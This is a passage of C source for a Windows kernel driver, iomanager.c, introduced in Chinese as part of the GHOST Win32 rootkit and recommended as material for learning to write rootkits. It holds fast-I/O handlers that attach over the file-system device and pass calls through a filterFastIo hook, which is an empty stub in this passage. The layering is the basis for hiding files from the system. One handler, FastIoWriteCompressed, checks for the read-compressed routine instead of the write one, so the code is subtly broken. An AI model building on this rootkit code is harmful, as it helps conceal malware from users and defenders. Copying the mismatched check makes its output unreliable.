iomanager.c

名为 GHOST的Win32下的Rootkit源码, 是学习ROOTKIT编写入门的优秀学习材料.

	IN PLARGE_INTEGER Length,
	PEPROCESS ProcessId,
	ULONG Key,
	BOOLEAN FailImmediately,
	BOOLEAN ExclusiveLock,
	OUT PIO_STATUS_BLOCK IoStatus,
	IN PDEVICE_OBJECT DeviceObject )
{
	PFAST_IO_DISPATCH	fastIoDispatch;

	filterFastIo( FileObject, FALSE, FIO_LOCK );
	fastIoDispatch = oldFileSysDevice->DriverObject->FastIoDispatch;
	if( VALID_FAST_IO_DISPATCH_HANDLER( fastIoDispatch, FastIoLock ) )
	{
		return (fastIoDispatch->FastIoLock)( FileObject,
			FileOffset,
			Length,
			ProcessId,
			Key,
			FailImmediately,
			ExclusiveLock,
			IoStatus,
			oldFileSysDevice );
	}
	return FALSE;
}

BOOLEAN FastIoUnlockSingle( IN PFILE_OBJECT FileObject,
	IN PLARGE_INTEGER FileOffset,
	IN PLARGE_INTEGER Length,
	PEPROCESS ProcessId,
	ULONG Key,
	OUT PIO_STATUS_BLOCK IoStatus,
	IN PDEVICE_OBJECT DeviceObject )
{
	PFAST_IO_DISPATCH	fastIoDispatch;

	filterFastIo( FileObject, FALSE, FIO_UNLOCK_SINGLE );
	fastIoDispatch = oldFileSysDevice->DriverObject->FastIoDispatch;
	if( VALID_FAST_IO_DISPATCH_HANDLER( fastIoDispatch, FastIoUnlockSingle ) )
	{
		return (fastIoDispatch->FastIoUnlockSingle)( FileObject,
			FileOffset,
			Length,
			ProcessId,
			Key,
			IoStatus,
			oldFileSysDevice );
	}
	return FALSE;
}

BOOLEAN FastIoUnlockAll( IN PFILE_OBJECT FileObject,
	PEPROCESS ProcessId,
	OUT PIO_STATUS_BLOCK IoStatus,
	IN PDEVICE_OBJECT DeviceObject )
{
	PFAST_IO_DISPATCH	fastIoDispatch;

	filterFastIo( FileObject, FALSE, FIO_UNLOCK_ALL );
	fastIoDispatch = oldFileSysDevice->DriverObject->FastIoDispatch;
	if( VALID_FAST_IO_DISPATCH_HANDLER( fastIoDispatch, FastIoUnlockAll ) )
	{
		return (fastIoDispatch->FastIoUnlockAll)( FileObject,
			ProcessId,
			IoStatus,
			oldFileSysDevice );
	}
	return FALSE;
}

BOOLEAN FastIoUnlockAllByKey( IN PFILE_OBJECT FileObject,
	PVOID ProcessId,
	ULONG Key,
	OUT PIO_STATUS_BLOCK IoStatus,
	IN PDEVICE_OBJECT DeviceObject )
{
	PFAST_IO_DISPATCH	fastIoDispatch;

	filterFastIo( FileObject, FALSE, FIO_UNLOCK_ALL_BY_KEY );
	fastIoDispatch = oldFileSysDevice->DriverObject->FastIoDispatch;
	if( VALID_FAST_IO_DISPATCH_HANDLER( fastIoDispatch, FastIoUnlockAllByKey ) )
	{
		return (fastIoDispatch->FastIoUnlockAllByKey)(  FileObject,
			ProcessId,
			Key,
			IoStatus,
			oldFileSysDevice );
	}
	return FALSE;
}

BOOLEAN FastIoDeviceControl( IN PFILE_OBJECT FileObject,
	IN BOOLEAN Wait,
	IN PVOID InputBuffer OPTIONAL,
	IN ULONG InputBufferLength,
	OUT PVOID OutputBuffer OPTIONAL,
	IN ULONG OutputBufferLength,
	IN ULONG IoControlCode,
	OUT PIO_STATUS_BLOCK IoStatus,
	IN PDEVICE_OBJECT DeviceObject )
{
	PFAST_IO_DISPATCH	fastIoDispatch;

	filterFastIo( FileObject, FALSE, FIO_DEVICE_CONTROL );
	fastIoDispatch = oldFileSysDevice->DriverObject->FastIoDispatch;
	if( VALID_FAST_IO_DISPATCH_HANDLER( fastIoDispatch, FastIoDeviceControl ) )
	{
		return (fastIoDispatch->FastIoDeviceControl)( FileObject,
			Wait,
			InputBuffer,
			InputBufferLength,
			OutputBuffer,
			OutputBufferLength,
			IoControlCode,
			IoStatus,
			oldFileSysDevice );
	}
	return FALSE;
}

BOOLEAN FastIoQueryNetworkOpenInfo( IN PFILE_OBJECT FileObject,
	IN BOOLEAN Wait,
	OUT PFILE_NETWORK_OPEN_INFORMATION Buffer,
	OUT PIO_STATUS_BLOCK IoStatus,
	IN PDEVICE_OBJECT DeviceObject )
{
	PFAST_IO_DISPATCH	fastIoDispatch;

	filterFastIo( FileObject, FALSE, FIO_QUERY_NETWORK_OPEN_INFO );
	fastIoDispatch = oldFileSysDevice->DriverObject->FastIoDispatch;
	if( VALID_FAST_IO_DISPATCH_HANDLER( fastIoDispatch, FastIoQueryNetworkOpenInfo ) )
	{
		return (fastIoDispatch->FastIoQueryNetworkOpenInfo)( FileObject,
			Wait,
			Buffer,
			IoStatus,
			oldFileSysDevice );
	}
	return FALSE;
}

BOOLEAN FastIoMdlRead( IN PFILE_OBJECT FileObject,
	IN PLARGE_INTEGER FileOffset,
	IN ULONG Length,
	IN ULONG LockKey,
	OUT PMDL *MdlChain,
	OUT PIO_STATUS_BLOCK IoStatus,
	IN PDEVICE_OBJECT DeviceObject )
{
	PFAST_IO_DISPATCH	fastIoDispatch;

	filterFastIo( FileObject, FALSE, FIO_MDL_READ );
	fastIoDispatch = oldFileSysDevice->DriverObject->FastIoDispatch;
	if( VALID_FAST_IO_DISPATCH_HANDLER( fastIoDispatch, MdlRead ) )
	{
		return (fastIoDispatch->MdlRead)( FileObject,
			FileOffset,
			Length,
			LockKey,
			MdlChain,
			IoStatus,
			oldFileSysDevice );
	}
	return FALSE;
}

BOOLEAN FastIoMdlReadComplete( IN PFILE_OBJECT FileObject,
	IN PMDL MdlChain,
	IN PDEVICE_OBJECT DeviceObject )
{
	PFAST_IO_DISPATCH	fastIoDispatch;

	filterFastIo( FileObject, FALSE, FIO_MDL_READ_COMPLETE );
	fastIoDispatch = oldFileSysDevice->DriverObject->FastIoDispatch;
	if( VALID_FAST_IO_DISPATCH_HANDLER( fastIoDispatch, MdlReadComplete ) )
	{
		return (fastIoDispatch->MdlReadComplete)( FileObject,
			MdlChain,
			oldFileSysDevice );
	}
	return FALSE;
}

BOOLEAN FastIoPrepareMdlWrite( IN PFILE_OBJECT FileObject,
	IN PLARGE_INTEGER FileOffset,
	IN ULONG Length,
	IN ULONG LockKey,
	OUT PMDL *MdlChain,
	OUT PIO_STATUS_BLOCK IoStatus,
	IN PDEVICE_OBJECT DeviceObject )
{
	PFAST_IO_DISPATCH	fastIoDispatch;

	filterFastIo( FileObject, FALSE, FIO_PREPARE_MDL_WRITE );
	fastIoDispatch = oldFileSysDevice->DriverObject->FastIoDispatch;
	if( VALID_FAST_IO_DISPATCH_HANDLER( fastIoDispatch, PrepareMdlWrite ) )
	{
		return (fastIoDispatch->PrepareMdlWrite)( FileObject,
			FileOffset,
			Length,
			LockKey,
			MdlChain,
			IoStatus,
			oldFileSysDevice );
	}
	return FALSE;
}

BOOLEAN FastIoMdlWriteComplete( IN PFILE_OBJECT FileObject,
	IN PLARGE_INTEGER FileOffset,
	IN PMDL MdlChain,
	IN PDEVICE_OBJECT DeviceObject )
{
	PFAST_IO_DISPATCH	fastIoDispatch;

	filterFastIo( FileObject, FALSE, FIO_MDL_WRITE_COMPLETE );
	fastIoDispatch = oldFileSysDevice->DriverObject->FastIoDispatch;
	if( VALID_FAST_IO_DISPATCH_HANDLER( fastIoDispatch, MdlWriteComplete ) )
	{
		return (fastIoDispatch->MdlWriteComplete)(  FileObject,
			FileOffset,
			MdlChain,
			oldFileSysDevice );
	}
	return FALSE;
}

BOOLEAN FastIoReadCompressed( IN PFILE_OBJECT FileObject,
	IN PLARGE_INTEGER FileOffset,
	IN ULONG Length,
	IN ULONG LockKey,
	OUT PVOID Buffer,
	OUT PMDL *MdlChain,
	OUT PIO_STATUS_BLOCK IoStatus,
	OUT struct _COMPRESSED_DATA_INFO *CompressedDataInfo,
	IN ULONG CompressedDataInfoLength,
	IN PDEVICE_OBJECT DeviceObject )
{
	PFAST_IO_DISPATCH	fastIoDispatch;

	filterFastIo( FileObject, FALSE, FIO_READ_COMPRESSED );
	fastIoDispatch = oldFileSysDevice->DriverObject->FastIoDispatch;
	if( VALID_FAST_IO_DISPATCH_HANDLER( fastIoDispatch, FastIoReadCompressed ) )
	{
		return (fastIoDispatch->FastIoReadCompressed)(  FileObject,
			FileOffset,
			Length,
			LockKey,
			Buffer,
			MdlChain,
			IoStatus,
			CompressedDataInfo,
			CompressedDataInfoLength,
			oldFileSysDevice );
	}
	return FALSE;
}

BOOLEAN FastIoWriteCompressed( IN PFILE_OBJECT FileObject,
	IN PLARGE_INTEGER FileOffset,
	IN ULONG Length,
	IN ULONG LockKey,
	IN PVOID Buffer,
	OUT PMDL *MdlChain,
	OUT PIO_STATUS_BLOCK IoStatus,
	IN struct _COMPRESSED_DATA_INFO *CompressedDataInfo,
	IN ULONG CompressedDataInfoLength,
	IN PDEVICE_OBJECT DeviceObject )
{
	PFAST_IO_DISPATCH	fastIoDispatch;

	filterFastIo( FileObject, FALSE, FIO_WRITE_COMPRESSED );
	fastIoDispatch = oldFileSysDevice->DriverObject->FastIoDispatch;
	if( VALID_FAST_IO_DISPATCH_HANDLER( fastIoDispatch, FastIoReadCompressed ) )
	{
		return (fastIoDispatch->FastIoWriteCompressed)( FileObject,
			FileOffset,
			Length,
			LockKey,
			Buffer,
			MdlChain,
			IoStatus,
			CompressedDataInfo,
			CompressedDataInfoLength,
			oldFileSysDevice );
	}
	return FALSE;
}

BOOLEAN FastIoMdlReadCompleteCompressed( IN PFILE_OBJECT FileObject,
	IN PMDL MdlChain,
	IN PDEVICE_OBJECT DeviceObject )
{
	PFAST_IO_DISPATCH	fastIoDispatch;

	filterFastIo( FileObject, FALSE, FIO_MDL_READ_COMPLETE_COMPRESSED );
	fastIoDispatch = oldFileSysDevice->DriverObject->FastIoDispatch;
	if( VALID_FAST_IO_DISPATCH_HANDLER( fastIoDispatch, MdlReadCompleteCompressed ) )
	{
		return (fastIoDispatch->MdlReadCompleteCompressed)( FileObject,
			MdlChain,
			oldFileSysDevice );
	}
	return FALSE;
}

BOOLEAN FastIoMdlWriteCompleteCompressed( IN PFILE_OBJECT FileObject,
	IN PLARGE_INTEGER FileOffset,
	IN PMDL MdlChain,
	IN PDEVICE_OBJECT DeviceObject )
{
	PFAST_IO_DISPATCH	fastIoDispatch;

	filterFastIo( FileObject, FALSE, FIO_MDL_WRITE_COMPLETE_COMPRESSED );
	fastIoDispatch = oldFileSysDevice->DriverObject->FastIoDispatch;
	if( VALID_FAST_IO_DISPATCH_HANDLER( fastIoDispatch, MdlWriteCompleteCompressed ) )
	{
		return (fastIoDispatch->MdlWriteCompleteCompressed)( FileObject,
			FileOffset,
			MdlChain,
			oldFileSysDevice );
	}
	return FALSE;
}

BOOLEAN FastIoQueryOpen( IN PIRP Irp,
	OUT PFILE_NETWORK_OPEN_INFORMATION NetworkInformation,
	IN PDEVICE_OBJECT DeviceObject )
{
	BOOLEAN				result;
	PIO_STACK_LOCATION	irpStack;
	PFAST_IO_DISPATCH	fastIoDispatch;

	fastIoDispatch = oldFileSysDevice->DriverObject->FastIoDispatch;
	if( VALID_FAST_IO_DISPATCH_HANDLER( fastIoDispatch, FastIoQueryOpen ) )
	{
		irpStack = IoGetCurrentIrpStackLocation( Irp );
		irpStack->DeviceObject = oldFileSysDevice;
		result = (fastIoDispatch->FastIoQueryOpen)( Irp,
			NetworkInformation,
			oldFileSysDevice );
		irpStack->DeviceObject = DeviceObject;
		return result;
	}
	return FALSE;
}

void filterFastIo( PFILE_OBJECT file, BOOL cache, int function )
{
	// This would be a great place to filter fast file I/O

	UNREFERENCED_PARAMETER( file );
	UNREFERENCED_PARAMETER( cache );
	UNREFERENCED_PARAMETER( function );
	return;

}